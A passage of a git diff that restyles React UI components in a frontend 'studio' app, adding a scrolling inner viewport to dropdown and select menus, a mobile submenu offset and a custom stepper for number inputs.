           // position:fixed submenu wrappers, clipping every submenu.
-          "data-open:animate-in data-closed:animate-out data-closed:fade-out-0 data-open:fade-in-0 data-closed:zoom-out-95 data-open:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 bg-popover text-popover-foreground min-w-48 rounded-lg p-1 duration-100 z-50 max-h-(--radix-dropdown-menu-content-available-height) w-[calc(var(--radix-dropdown-menu-trigger-width)_+_6px)] data-[align=start]:-ml-[3px] data-[align=end]:ml-[3px] origin-(--radix-dropdown-menu-content-transform-origin) overflow-x-hidden overflow-y-auto data-[state=closed]:overflow-hidden",
+          "data-open:animate-in data-closed:animate-out data-closed:fade-out-0 data-open:fade-in-0 data-closed:zoom-out-95 data-open:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 bg-popover text-popover-foreground min-w-48 rounded-lg p-1 duration-100 z-50 max-h-(--radix-dropdown-menu-content-available-height) w-[calc(var(--radix-dropdown-menu-trigger-width)_+_6px)] data-[align=start]:-ml-[3px] data-[align=end]:ml-[3px] origin-(--radix-dropdown-menu-content-transform-origin) flex flex-col overflow-hidden",
           className,
         )}
         {...props}
-      />
+      >
+        {/* Scroll an inner viewport, not the rounded surface: a scrollbar on
+            the surface squares its corners in WebKit. The surface padding
+            insets the scrollbar clear of the curve. */}
+        <div
+          data-slot="dropdown-menu-viewport"
+          className="min-h-0 flex-1 overflow-x-hidden overflow-y-auto"
+        >
+          {children}
+        </div>
+      </DropdownMenuPrimitive.Content>
     </DropdownMenuPrimitive.Portal>
   );
 }
@@ -206,6 +218,14 @@ function DropdownMenuShortcut({
   );
 }
 
+function assignRef<T>(ref: React.Ref<T> | undefined, value: T | null) {
+  if (typeof ref === "function") {
+    ref(value);
+  } else if (ref) {
+    ref.current = value;
+  }
+}
+
 function DropdownMenuSub({
   ...props
 }: React.ComponentProps<typeof DropdownMenuPrimitive.Sub>) {
@@ -242,17 +262,63 @@ function DropdownMenuSubTrigger({
 
 function DropdownMenuSubContent({
   className,
+  sideOffset,
+  style,
+  ref,
   ...props
 }: React.ComponentProps<typeof DropdownMenuPrimitive.SubContent>) {
+  const isMobile = useIsMobile();
+  const [contentWidth, setContentWidth] = React.useState(0);
+  const resizeObserverRef = React.useRef<ResizeObserver | null>(null);
+  const composedRef = React.useCallback(
+    (
+      element: React.ComponentRef<
+        typeof DropdownMenuPrimitive.SubContent
+      > | null,
+    ) => {
+      resizeObserverRef.current?.disconnect();
+      resizeObserverRef.current = null;
+      assignRef(ref, element);
+      if (!element) return;
+
+      const updateContentWidth = () => {
+        setContentWidth(element.offsetWidth);
+      };
+      updateContentWidth();
+
+      if (typeof ResizeObserver !== "undefined") {
+        resizeObserverRef.current = new ResizeObserver(updateContentWidth);
+        resizeObserverRef.current.observe(element);
+      }
+    },
+    [ref],
+  );
+
+  React.useEffect(
+    () => () => {
+      resizeObserverRef.current?.disconnect();
+    },
+    [],
+  );
+
+  const compactSideOffset =
+    isMobile && contentWidth > 0 ? -contentWidth : sideOffset;
   return (
     // Portaled like DropdownMenuContent: rendered inline, the fixed popper
     // wrapper is a descendant of the parent menu's scroll container, so any
     // transform there turns on overflow clipping and hides the submenu.
     <DropdownMenuPrimitive.Portal>
       <DropdownMenuPrimitive.SubContent
+        ref={composedRef}
         data-slot="dropdown-menu-sub-content"
+        sideOffset={compactSideOffset}
+        style={{
+          ...style,
+          visibility:
+            isMobile && contentWidth === 0 ? "hidden" : style?.visibility,
+        }}
         className={cn(
-          "data-open:animate-in data-closed:animate-out data-closed:fade-out-0 data-open:fade-in-0 data-closed:zoom-out-95 data-open:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 bg-popover text-popover-foreground min-w-36 rounded-lg p-1 duration-100 z-50 origin-(--radix-dropdown-menu-content-transform-origin) overflow-hidden",
+          "data-open:animate-in data-closed:animate-out data-closed:fade-out-0 data-open:fade-in-0 data-closed:zoom-out-95 data-open:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 bg-popover text-popover-foreground min-w-36 max-w-[calc(100vw-32px)] rounded-lg p-1 duration-100 z-50 origin-(--radix-dropdown-menu-content-transform-origin) overflow-hidden",
           className,
         )}
         {...props}
diff --git a/studio/frontend/src/components/ui/field.tsx b/studio/frontend/src/components/ui/field.tsx
index f1e6b23999..2a24d1ace7 100644
--- a/studio/frontend/src/components/ui/field.tsx
+++ b/studio/frontend/src/components/ui/field.tsx
@@ -107,7 +107,7 @@ function FieldLabel({
     <Label
       data-slot="field-label"
       className={cn(
-        "has-data-checked:bg-primary/5 has-data-checked:border-primary/50 dark:has-data-checked:bg-primary/10 gap-2 group-data-[disabled=true]/field:opacity-50 has-[>[data-slot=field]]:rounded-xl has-[>[data-slot=field]]:border [&>*]:data-[slot=field]:p-4 group/field-label peer/field-label flex w-fit leading-snug",
+        "has-data-checked:bg-primary/5 has-data-checked:border-ring-strong dark:has-data-checked:bg-primary/10 gap-2 group-data-[disabled=true]/field:opacity-50 has-[>[data-slot=field]]:rounded-xl has-[>[data-slot=field]]:border [&>*]:data-[slot=field]:p-4 group/field-label peer/field-label flex w-fit leading-snug",
         "has-[>[data-slot=field]]:w-full has-[>[data-slot=field]]:flex-col",
         className,
       )}
diff --git a/studio/frontend/src/components/ui/info-hint.tsx b/studio/frontend/src/components/ui/info-hint.tsx
index 4433478647..db663c792e 100644
--- a/studio/frontend/src/components/ui/info-hint.tsx
+++ b/studio/frontend/src/components/ui/info-hint.tsx
@@ -20,7 +20,7 @@ export function InfoHint({ children }: { children: ReactNode }) {
         <button
           type="button"
           aria-label="More info"
-          className="inline-flex size-4 shrink-0 cursor-help items-center justify-center rounded-full text-muted-foreground/70 transition-colors hover:text-[#383835] dark:hover:text-[#e8e8e8] focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+          className="inline-flex size-4 shrink-0 cursor-help items-center justify-center rounded-full text-muted-foreground/70 transition-colors hover:text-[#383835] dark:hover:text-[#e8e8e8] focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
         >
           <HugeiconsIcon
             icon={InformationCircleIcon}
diff --git a/studio/frontend/src/components/ui/input-group.tsx b/studio/frontend/src/components/ui/input-group.tsx
index 06f3dd79d6..7ec7a2e3d4 100644
--- a/studio/frontend/src/components/ui/input-group.tsx
+++ b/studio/frontend/src/components/ui/input-group.tsx
@@ -15,7 +15,7 @@ function InputGroup({ className, ...props }: React.ComponentProps<"div">) {
       data-slot="input-group"
       role="group"
       className={cn(
-        "border-input bg-input/30 has-[[data-slot=input-group-control]:focus-visible]:border-ring has-[[data-slot=input-group-control]:focus-visible]:ring-ring/50 has-[[data-slot][aria-invalid=true]]:ring-destructive/20 has-[[data-slot][aria-invalid=true]]:border-destructive dark:has-[[data-slot][aria-invalid=true]]:ring-destructive/40 h-9 rounded-4xl border transition-colors has-data-[align=block-end]:rounded-2xl has-data-[align=block-start]:rounded-2xl has-[[data-slot=input-group-control]:focus-visible]:ring-[3px] has-[[data-slot][aria-invalid=true]]:ring-[3px] has-[textarea]:rounded-xl has-[>[data-align=block-end]]:h-auto has-[>[data-align=block-end]]:flex-col has-[>[data-align=block-start]]:h-auto has-[>[data-align=block-start]]:flex-col has-[>[data-align=block-end]]:[&>input]:pt-3 has-[>[data-align=block-start]]:[&>input]:pb-3 has-[>[data-align=inline-end]]:[&>input]:pr-1.5 has-[>[data-align=inline-start]]:[&>input]:pl-1.5 [[data-slot=combobox-content]_&]:focus-within:border-inherit [[data-slot=combobox-content]_&]:focus-within:ring-0 group/input-group relative flex w-full min-w-0 items-center outline-none has-[>textarea]:h-auto",
+        "border-border bg-background dark:border-transparent dark:bg-white/[0.06] has-[[data-slot=input-group-control]:focus-visible]:border-ring dark:has-[[data-slot=input-group-control]:focus-visible]:border-transparent dark:has-[[data-slot=input-group-control]:focus-visible]:bg-white/[0.12] has-[[data-slot][aria-invalid=true]]:ring-destructive/20 has-[[data-slot][aria-invalid=true]]:border-destructive dark:has-[[data-slot][aria-invalid=true]]:ring-destructive/40 h-9 rounded-full border transition-colors has-data-[align=block-end]:rounded-2xl has-data-[align=block-start]:rounded-2xl has-[[data-slot][aria-invalid=true]]:ring-[3px] has-[textarea]:rounded-xl has-[>[data-align=block-end]]:h-auto has-[>[data-align=block-end]]:flex-col has-[>[data-align=block-start]]:h-auto has-[>[data-align=block-start]]:flex-col has-[>[data-align=block-end]]:[&>input]:pt-3 has-[>[data-align=block-start]]:[&>input]:pb-3 has-[>[data-align=inline-end]]:[&>input]:pr-1.5 has-[>[data-align=inline-start]]:[&>input]:pl-1.5 [[data-slot=combobox-content]_&]:focus-within:border-inherit [[data-slot=combobox-content]_&]:focus-within:ring-0 group/input-group relative flex w-full min-w-0 items-center outline-none has-[>textarea]:h-auto",
         className,
       )}
       {...props}
@@ -122,7 +122,7 @@ function InputGroupInput({
     <Input
       data-slot="input-group-control"
       className={cn(
-        "rounded-none border-0 bg-transparent shadow-none ring-0 focus-visible:ring-0 aria-invalid:ring-0 dark:bg-transparent flex-1",
+        "rounded-none border-0 bg-transparent shadow-none ring-0 focus-visible:ring-0 aria-invalid:ring-0 dark:bg-transparent dark:focus-visible:bg-transparent flex-1",
         className,
       )}
       {...props}
diff --git a/studio/frontend/src/components/ui/input.tsx b/studio/frontend/src/components/ui/input.tsx
index 4dfdf484a7..f98790eb01 100644
--- a/studio/frontend/src/components/ui/input.tsx
+++ b/studio/frontend/src/components/ui/input.tsx
@@ -5,18 +5,142 @@ import type * as React from "react";
 
 import { cn } from "@/lib/utils";
 
-function Input({ className, type, ...props }: React.ComponentProps<"input">) {
+const BASE_CLASSES =
+  // White fill with a subtle border,
+  // fully-rounded pill for single-row controls.
+  "bg-background border-border dark:border-transparent dark:bg-white/[0.06] focus-visible:border-ring dark:focus-visible:border-transparent dark:focus-visible:bg-white/[0.12] aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:aria-invalid:border-destructive/50 h-9 rounded-full border px-3.5 py-1 text-base transition-colors file:h-7 file:text-sm file:font-medium aria-invalid:ring-[3px] md:text-sm file:text-foreground placeholder:text-muted-foreground w-full min-w-0 outline-none file:inline-flex file:border-0 file:bg-transparent disabled:pointer-events-none disabled:cursor-not-allowed disabled:opacity-50";
+
+function stepNumberInput(input: HTMLInputElement, direction: 1 | -1): void {
+  if (input.disabled || input.readOnly) {
+    return;
+  }
+  const step = input.step === "" ? 1 : Number(input.step) || 1;
+  const min = input.min === "" ? null : Number(input.min);
+  const max = input.max === "" ? null : Number(input.max);
+  // An empty field steps from its placeholder (the effective default).
+  const current =
+    input.value === "" ? Number(input.placeholder) : Number(input.value);
+  let next: number;
+  if (Number.isFinite(current)) {
+    // Snap to the step grid (anchored at min, like the native spinner) rather
+    // than adding step to an off-grid typed value, which would leave a
+    // step-invalid result. Mirrors HTMLInputElement.stepUp/stepDown.
+    const base = min ?? 0;
+    const pos = (current - base) / step;
+    const rounded = Math.round(pos);
+    const onGrid = Math.abs(pos - rounded) < 1e-9;
+    const nextPos = onGrid
+      ? rounded + direction
+      : direction === 1
+        ? Math.ceil(pos)
+        : Math.floor(pos);
+    next = base + nextPos * step;
+  } else {
+    // Stepping an empty, non-numeric field starts from the minimum, matching
+    // the native spinner.
+    next = min ?? direction * step;
+  }
+  if (min !== null) {
+    next = Math.max(min, next);
+  }
+  if (max !== null) {
+    next = Math.min(max, next);
+  }
+  // Trim float noise from fractional steps.
+  const decimals = (String(step).split(".")[1] ?? "").length;
+  const value = String(Number(next.toFixed(decimals)));
+  // Write through the native setter and emit "input" so the React onChange
+  // of controlled callers fires.
+  const setter = Object.getOwnPropertyDescriptor(
+    HTMLInputElement.prototype,
+    "value",
+  )?.set;
+  setter?.call(input, value);
+  input.dispatchEvent(new Event("input", { bubbles: true }));
+}
+
+function StepperArrow({ direction }: { direction: 1 | -1 }) {
   return (
+    <svg
+      viewBox="0 0 10 6"
+      aria-hidden="true"
+      className={cn("h-[5px] w-2", direction === -1 && "rotate-180")}
+    >
+      <path d="M5 0.5 9 5.5H1Z" fill="currentColor" />
+    </svg>
+  );
+}
+
+function StepperButton({ direction }: { direction: 1 | -1 }) {
+  return (
+    <button
+      type="button"
+      tabIndex={-1}
+      onMouseDown={(event) => {
+        // Keep focus on the field itself.
+        event.preventDefault();
+      }}
+      onClick={(event) => {
+        const input = event.currentTarget
+          .closest('[data-slot="number-input"]')
+          ?.querySelector("input");
+        if (input) {
+          input.focus({ preventScroll: true });
+          stepNumberInput(input, direction);
+        }
+      }}
+      className="flex h-1/2 w-full cursor-default items-center justify-center text-foreground/55 hover:bg-black/10 active:bg-black/15 dark:text-white/70 dark:hover:bg-white/10 dark:active:bg-white/15"
+    >
+      <StepperArrow direction={direction} />
+    </button>
+  );
+}
+
+function Input({ className, type, ...props }: React.ComponentProps<"input">) {
+  const field = (
     <input
       type={type}
       data-slot="input"
-      className={cn(
-        "bg-input/30 border-input focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:aria-invalid:border-destructive/50 h-9 rounded-4xl border px-3 py-1 text-base transition-colors file:h-7 file:text-sm file:font-medium focus-visible:ring-[3px] aria-invalid:ring-[3px] md:text-sm file:text-foreground placeholder:text-muted-foreground w-full min-w-0 outline-none file:inline-flex file:border-0 file:bg-transparent disabled:pointer-events-none disabled:cursor-not-allowed disabled:opacity-50",
-        className,
-      )}
+      className={cn(BASE_CLASSES, type === "number" && "pr-8", className)}
       {...props}
     />
   );
+  if (type !== "number") {
+    return field;
+  }
+  // Number fields swap the native spinner (hidden globally in index.css) for
+  // a shared grey stepper.
+  return (
+    <span
+      data-slot="number-input"
+      className={cn(
+        // The wrapper is now the flex/grid item, so mirror the field's width:
+        // default to the full width the bare input used, and let an explicit
+        // w-*/max-w-* from the caller win so the stepper stays on the field edge.
+        // Also carry React Flow interaction classes (nodrag/nopan/nowheel) so
+        // the stepper buttons, which live in the wrapper, don't drag the node.
+        "group/number relative inline-flex items-center w-full min-w-0",
+        (className ?? "")
+          .split(/\s+/)
+          .filter(
+            (c) =>
+              /^(?:min-w|max-w|w)-/.test(c) ||
+              c === "nodrag" ||
+              c === "nopan" ||
+              c === "nowheel",
+          ),
+      )}
+    >
+      {field}
+      <span
+        aria-hidden="true"
+        className="absolute top-1/2 right-1.5 flex h-[21px] w-4 -translate-y-1/2 flex-col overflow-hidden rounded-[5px] bg-black/[0.07] group-has-[input:disabled]/number:pointer-events-none group-has-[input:disabled]/number:opacity-40 dark:bg-white/[0.12]"
+      >
+        <StepperButton direction={1} />
+        <StepperButton direction={-1} />
+      </span>
+    </span>
+  );
 }
 
 export { Input };
diff --git a/studio/frontend/src/components/ui/navigation-menu.tsx b/studio/frontend/src/components/ui/navigation-menu.tsx
index 3014c3f66c..f8a6dfc503 100644
--- a/studio/frontend/src/components/ui/navigation-menu.tsx
+++ b/studio/frontend/src/components/ui/navigation-menu.tsx
@@ -8,7 +8,7 @@ import { NavigationMenu as NavigationMenuPrimitive } from "radix-ui";
 import type * as React from "react";
 
 import { cn } from "@/lib/utils";
-import { ArrowDown01Icon } from "@hugeicons/core-free-icons";
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 
 export function NavigationMenu({
@@ -69,7 +69,7 @@ export function NavigationMenuItem({
 }
 
 export const navigationMenuTriggerStyle = cva(
-  "bg-background hover:bg-muted focus:bg-muted data-open:hover:bg-muted data-open:focus:bg-muted data-open:bg-muted/50 focus-visible:ring-ring/50 data-popup-open:bg-muted/50 data-popup-open:hover:bg-muted rounded-2xl px-4.5 py-2.5 text-sm font-medium transition-all focus-visible:ring-[3px] focus-visible:outline-1 disabled:opacity-50 group/navigation-menu-trigger inline-flex h-9 w-max items-center justify-center disabled:pointer-events-none outline-none",
+  "bg-background hover:bg-muted focus:bg-muted data-open:hover:bg-muted data-open:focus:bg-muted data-open:bg-muted/50 focus-visible:ring-ring data-popup-open:bg-muted/50 data-popup-open:hover:bg-muted rounded-2xl px-4.5 py-2.5 text-sm font-medium transition-all focus-visible:ring-1 focus-visible:outline-1 disabled:opacity-50 group/navigation-menu-trigger inline-flex h-9 w-max items-center justify-center disabled:pointer-events-none outline-none",
 );
 
 export function NavigationMenuTrigger({
@@ -87,7 +87,7 @@ export function NavigationMenuTrigger({
     >
       {children}{" "}
       <HugeiconsIcon
-        icon={ArrowDown01Icon}
+        icon={ChevronDownStandardIcon}
         strokeWidth={2}
         className="relative top-[1px] ml-1 size-3 transition duration-300 group-data-open/navigation-menu-trigger:rotate-180 group-data-popup-open/navigation-menu-trigger:rotate-180"
         aria-hidden="true"
@@ -148,7 +148,7 @@ export function NavigationMenuLink({
     <NavigationMenuPrimitive.Link
       data-slot="navigation-menu-link"
       className={cn(
-        "data-[active=true]:focus:bg-muted data-[active=true]:hover:bg-muted data-[active=true]:bg-muted/50 focus-visible:ring-ring/50 hover:bg-muted focus:bg-muted flex items-center gap-1.5 rounded-xl p-3 text-sm transition-all outline-none focus-visible:ring-[3px] focus-visible:outline-1 [&_svg:not([class*='size-'])]:size-4",
+        "data-[active=true]:focus:bg-muted data-[active=true]:hover:bg-muted data-[active=true]:bg-muted/50 focus-visible:ring-ring hover:bg-muted focus:bg-muted flex items-center gap-1.5 rounded-xl p-3 text-sm transition-all outline-none focus-visible:ring-1 focus-visible:outline-1 [&_svg:not([class*='size-'])]:size-4",
         className,
       )}
       {...props}
diff --git a/studio/frontend/src/components/ui/popover.tsx b/studio/frontend/src/components/ui/popover.tsx
index e3a3cf1ebe..1a7d1d58cd 100644
--- a/studio/frontend/src/components/ui/popover.tsx
+++ b/studio/frontend/src/components/ui/popover.tsx
@@ -6,6 +6,7 @@
 import { Popover as PopoverPrimitive } from "radix-ui";
 import type * as React from "react";
 
+import { useDialogPortalContainer } from "@/components/ui/dialog";
 import { cn } from "@/lib/utils";
 
 function Popover({
@@ -24,10 +25,18 @@ function PopoverContent({
   className,
   align = "center",
   sideOffset = 0,
+  container,
   ...props
-}: React.ComponentProps<typeof PopoverPrimitive.Content>) {
+}: React.ComponentProps<typeof PopoverPrimitive.Content> & {
+  container?: HTMLElement | null;
+}) {
+  // Inside a modal dialog the body scroll lock swallows wheel events on
+  // body-portaled content; portal into the dialog instead (like Select).
+  const dialogContainer = useDialogPortalContainer();
   return (
-    <PopoverPrimitive.Portal>
+    <PopoverPrimitive.Portal
+      container={container ?? dialogContainer ?? undefined}
+    >
       <PopoverPrimitive.Content
         data-slot="popover-content"
         align={align}
diff --git a/studio/frontend/src/components/ui/progress.tsx b/studio/frontend/src/components/ui/progress.tsx
index d62a09042a..200bbcba31 100644
--- a/studio/frontend/src/components/ui/progress.tsx
+++ b/studio/frontend/src/components/ui/progress.tsx
@@ -27,7 +27,10 @@ function Progress({
     >
       <ProgressPrimitive.Indicator
         data-slot="progress-indicator"
-        className={cn("bg-primary size-full flex-1 transition-all", indicatorClassName)}
+        className={cn(
+          "bg-control-accent size-full flex-1 transition-all",
+          indicatorClassName,
+        )}
         style={{ transform: `translateX(-${100 - (value || 0)}%)` }}
       />
     </ProgressPrimitive.Root>
diff --git a/studio/frontend/src/components/ui/radio-group.tsx b/studio/frontend/src/components/ui/radio-group.tsx
index 0f9d4b2407..62225adc6e 100644
--- a/studio/frontend/src/components/ui/radio-group.tsx
+++ b/studio/frontend/src/components/ui/radio-group.tsx
@@ -29,7 +29,7 @@ function RadioGroupItem({
     <RadioGroupPrimitive.Item
       data-slot="radio-group-item"
       className={cn(
-        "border-input text-primary dark:bg-input/30 focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:aria-invalid:border-destructive/50 data-checked:bg-primary data-checked:border-primary flex size-4 rounded-full transition-none focus-visible:ring-[3px] aria-invalid:ring-[3px] group/radio-group-item peer relative aspect-square shrink-0 border outline-none after:absolute after:-inset-x-3 after:-inset-y-2 disabled:cursor-not-allowed disabled:opacity-50",
+        "border-input text-primary dark:bg-input/30 focus-visible:border-ring dark:focus-visible:border-ring aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:aria-invalid:border-destructive/50 data-checked:bg-primary data-checked:border-primary flex size-4 rounded-full transition-none aria-invalid:ring-[3px] group/radio-group-item peer relative aspect-square shrink-0 border outline-none after:absolute after:-inset-x-3 after:-inset-y-2 disabled:cursor-not-allowed disabled:opacity-50",
         className,
       )}
       {...props}
diff --git a/studio/frontend/src/components/ui/resizable.tsx b/studio/frontend/src/components/ui/resizable.tsx
index de6309cae9..60df343b15 100644
--- a/studio/frontend/src/components/ui/resizable.tsx
+++ b/studio/frontend/src/components/ui/resizable.tsx
@@ -39,7 +39,7 @@ function ResizableHandle({
     <ResizablePrimitive.Separator
       data-slot="resizable-handle"
       className={cn(
-        "group bg-border/80 relative z-10 flex w-px cursor-col-resize items-center justify-center transition-[background-color,box-shadow] duration-150 ease-out after:absolute after:inset-y-0 after:left-1/2 after:w-2 after:-translate-x-1/2 hover:bg-primary/80 hover:shadow-[0_0_16px_rgba(23,184,139,0.55)] active:bg-primary/90 active:shadow-[0_0_18px_rgba(23,184,139,0.7)] focus-visible:bg-primary/80 focus-visible:ring-1 focus-visible:ring-primary/50 focus-visible:ring-offset-1 focus-visible:outline-hidden data-[panel-group-direction=vertical]:h-px data-[panel-group-direction=vertical]:w-full data-[panel-group-direction=vertical]:cursor-row-resize data-[panel-group-direction=vertical]:after:left-0 data-[panel-group-direction=vertical]:after:h-2 data-[panel-group-direction=vertical]:after:w-full data-[panel-group-direction=vertical]:after:translate-x-0 data-[panel-group-direction=vertical]:after:-translate-y-1/2 [&[data-panel-group-direction=vertical]>div]:rotate-90",
+        "group bg-border/80 relative z-10 flex w-px cursor-col-resize items-center justify-center transition-[background-color,box-shadow] duration-150 ease-out after:absolute after:inset-y-0 after:left-1/2 after:w-2 after:-translate-x-1/2 hover:bg-primary/80 hover:shadow-[0_0_16px_rgba(23,184,139,0.55)] active:bg-primary/90 active:shadow-[0_0_18px_rgba(23,184,139,0.7)] focus-visible:bg-primary/80 focus-visible:ring-1 focus-visible:ring-ring focus-visible:outline-hidden data-[panel-group-direction=vertical]:h-px data-[panel-group-direction=vertical]:w-full data-[panel-group-direction=vertical]:cursor-row-resize data-[panel-group-direction=vertical]:after:left-0 data-[panel-group-direction=vertical]:after:h-2 data-[panel-group-direction=vertical]:after:w-full data-[panel-group-direction=vertical]:after:translate-x-0 data-[panel-group-direction=vertical]:after:-translate-y-1/2 [&[data-panel-group-direction=vertical]>div]:rotate-90",
         className,
       )}
       {...props}
diff --git a/studio/frontend/src/components/ui/scroll-area.tsx b/studio/frontend/src/components/ui/scroll-area.tsx
index e9087ef376..1e60dcb10e 100644
--- a/studio/frontend/src/components/ui/scroll-area.tsx
+++ b/studio/frontend/src/components/ui/scroll-area.tsx
@@ -21,7 +21,7 @@ function ScrollArea({
     >
       <ScrollAreaPrimitive.Viewport
         data-slot="scroll-area-viewport"
-        className="focus-visible:ring-ring/50 size-full rounded-[inherit] transition-[color,box-shadow] outline-none focus-visible:ring-[3px] focus-visible:outline-1"
+        className="focus-visible:ring-ring size-full rounded-[inherit] transition-[color,box-shadow] outline-none focus-visible:ring-1 focus-visible:outline-1"
       >
         {children}
       </ScrollAreaPrimitive.Viewport>
diff --git a/studio/frontend/src/components/ui/select.tsx b/studio/frontend/src/components/ui/select.tsx
index 07f39fa935..1bb95848f7 100644
--- a/studio/frontend/src/components/ui/select.tsx
+++ b/studio/frontend/src/components/ui/select.tsx
@@ -8,14 +8,12 @@ import type * as React from "react";
 import { createContext, useContext, useState } from "react";
 
 import { Tick02Icon } from "@/lib/tick-icon";
-import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
+import {
+  ChevronDownStandardIcon,
+  ChevronUpStandardIcon,
+} from "@/lib/chevron-icons";
 import { cn } from "@/lib/utils";
 import { useDialogPortalContainer } from "@/components/ui/dialog";
-import {
-  ArrowDown01Icon,
-  ArrowUp01Icon,
-  UnfoldMoreIcon,
-} from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 
 const SelectOpenContext = createContext(false);
@@ -70,7 +68,7 @@ function SelectTrigger({
   ...props
 }: React.ComponentProps<typeof SelectPrimitive.Trigger> & {
   size?: "sm" | "default";
-  icon?: typeof UnfoldMoreIcon;
+  icon?: typeof ChevronDownStandardIcon;
   iconClassName?: string;
   animateRadius?: boolean;
 }) {
@@ -91,7 +89,7 @@ function SelectTrigger({
           : undefined
       }
       className={cn(
-        "border-input data-[placeholder]:text-muted-foreground bg-input/30 dark:hover:bg-input/50 focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:aria-invalid:border-destructive/50 gap-1.5 rounded-4xl border px-3 py-2 text-sm transition-colors focus-visible:ring-[3px] aria-invalid:ring-[3px] data-[size=default]:h-9 data-[size=sm]:h-8 *:data-[slot=select-value]:flex *:data-[slot=select-value]:gap-1.5 [&_svg:not([class*='size-'])]:size-4 flex w-fit items-center justify-between whitespace-nowrap outline-none disabled:cursor-not-allowed disabled:opacity-50 *:data-[slot=select-value]:line-clamp-1 *:data-[slot=select-value]:flex *:data-[slot=select-value]:items-center [&_svg]:pointer-events-none [&_svg]:shrink-0 cursor-pointer",
+        "border-border data-[placeholder]:text-muted-foreground bg-background hover:bg-accent/50 dark:border-transparent dark:bg-white/[0.06] dark:hover:bg-white/10 focus-visible:border-ring dark:focus-visible:border-transparent dark:focus-visible:bg-white/[0.12] aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:aria-invalid:border-destructive/50 gap-1.5 rounded-full border px-3.5 py-2 text-sm transition-colors aria-invalid:ring-[3px] data-[size=default]:h-9 data-[size=sm]:h-8 *:data-[slot=select-value]:flex *:data-[slot=select-value]:gap-1.5 [&_svg:not([class*='size-'])]:size-4 flex w-fit items-center justify-between whitespace-nowrap outline-none disabled:cursor-not-allowed disabled:opacity-50 *:data-[slot=select-value]:line-clamp-1 *:data-[slot=select-value]:flex *:data-[slot=select-value]:items-center [&_svg]:pointer-events-none [&_svg]:shrink-0 cursor-pointer",
         className,
       )}
       {...props}
@@ -128,7 +126,7 @@ function SelectContent({
         data-slot="select-content"
         data-align-trigger={position === "item-aligned"}
         className={cn(
-          "bg-popover text-popover-foreground font-heading data-open:animate-in data-closed:animate-out data-closed:fade-out-0 data-open:fade-in-0 data-closed:zoom-out-95 data-open:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 min-w-36 rounded-xl p-1 corner-squircle duration-100 relative z-50 max-h-(--radix-select-content-available-height) origin-(--radix-select-content-transform-origin) overflow-x-hidden overflow-y-auto ",
+          "bg-popover text-popover-foreground font-heading data-open:animate-in data-closed:animate-out data-closed:fade-out-0 data-open:fade-in-0 data-closed:zoom-out-95 data-open:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 min-w-36 rounded-xl p-1 corner-squircle duration-100 relative z-50 max-h-(--radix-select-content-available-height) origin-(--radix-select-content-transform-origin) flex flex-col overflow-hidden",
           // No popper translate offset: the menu sits flush against the trigger.
           className,
         )}
@@ -137,10 +135,18 @@ function SelectContent({
         {...props}
       >
         <SelectScrollUpButton />
+        {/* The Radix viewport is the scroller (not the rounded surface, whose
+            scrollbar would square its corners in WebKit; not a wrapper, which
+            would blind Radix's scroll handling). The surface padding insets
+            the scrollbar clear of the curve. */}
         <SelectPrimitive.Viewport
           data-position={position}
+          // Inline: Radix injects a scrollbar-width:none stylesheet rule that
+          // Firefox lets win over author !important.
+          style={{ scrollbarWidth: "thin" }}
           className={cn(
-            "data-[position=popper]:h-[var(--radix-select-trigger-height)] data-[position=popper]:w-full data-[position=popper]:min-w-[var(--radix-select-trigger-width)]",
+            "min-h-0 flex-1 overflow-x-hidden overflow-y-auto",
+            "data-[position=popper]:w-full data-[position=popper]:min-w-[var(--radix-select-trigger-width)]",
             position === "popper" && "",
           )}
         >
@@ -222,7 +228,7 @@ function SelectScrollUpButton({
       )}
       {...props}
     >
-      <HugeiconsIcon icon={ArrowUp01Icon} strokeWidth={2} />
+      <HugeiconsIcon icon={ChevronUpStandardIcon} strokeWidth={2} />
     </SelectPrimitive.ScrollUpButton>
   );
 }
@@ -240,7 +246,7 @@ function SelectScrollDownButton({
       )}
       {...props}
     >
-      <HugeiconsIcon icon={ArrowDown01Icon} strokeWidth={2} />
+      <HugeiconsIcon icon={ChevronDownStandardIcon} strokeWidth={2} />
     </SelectPrimitive.ScrollDownButton>
   );
 }
diff --git a/studio/frontend/src/components/ui/sidebar.tsx b/studio/frontend/src/components/ui/sidebar.tsx
index 3a8694908f..0fe82eb428 100644
--- a/studio/frontend/src/components/ui/sidebar.tsx
+++ b/studio/frontend/src/components/ui/sidebar.tsx
@@ -471,7 +471,7 @@ function SidebarGroupLabel({
       data-slot="sidebar-group-label"
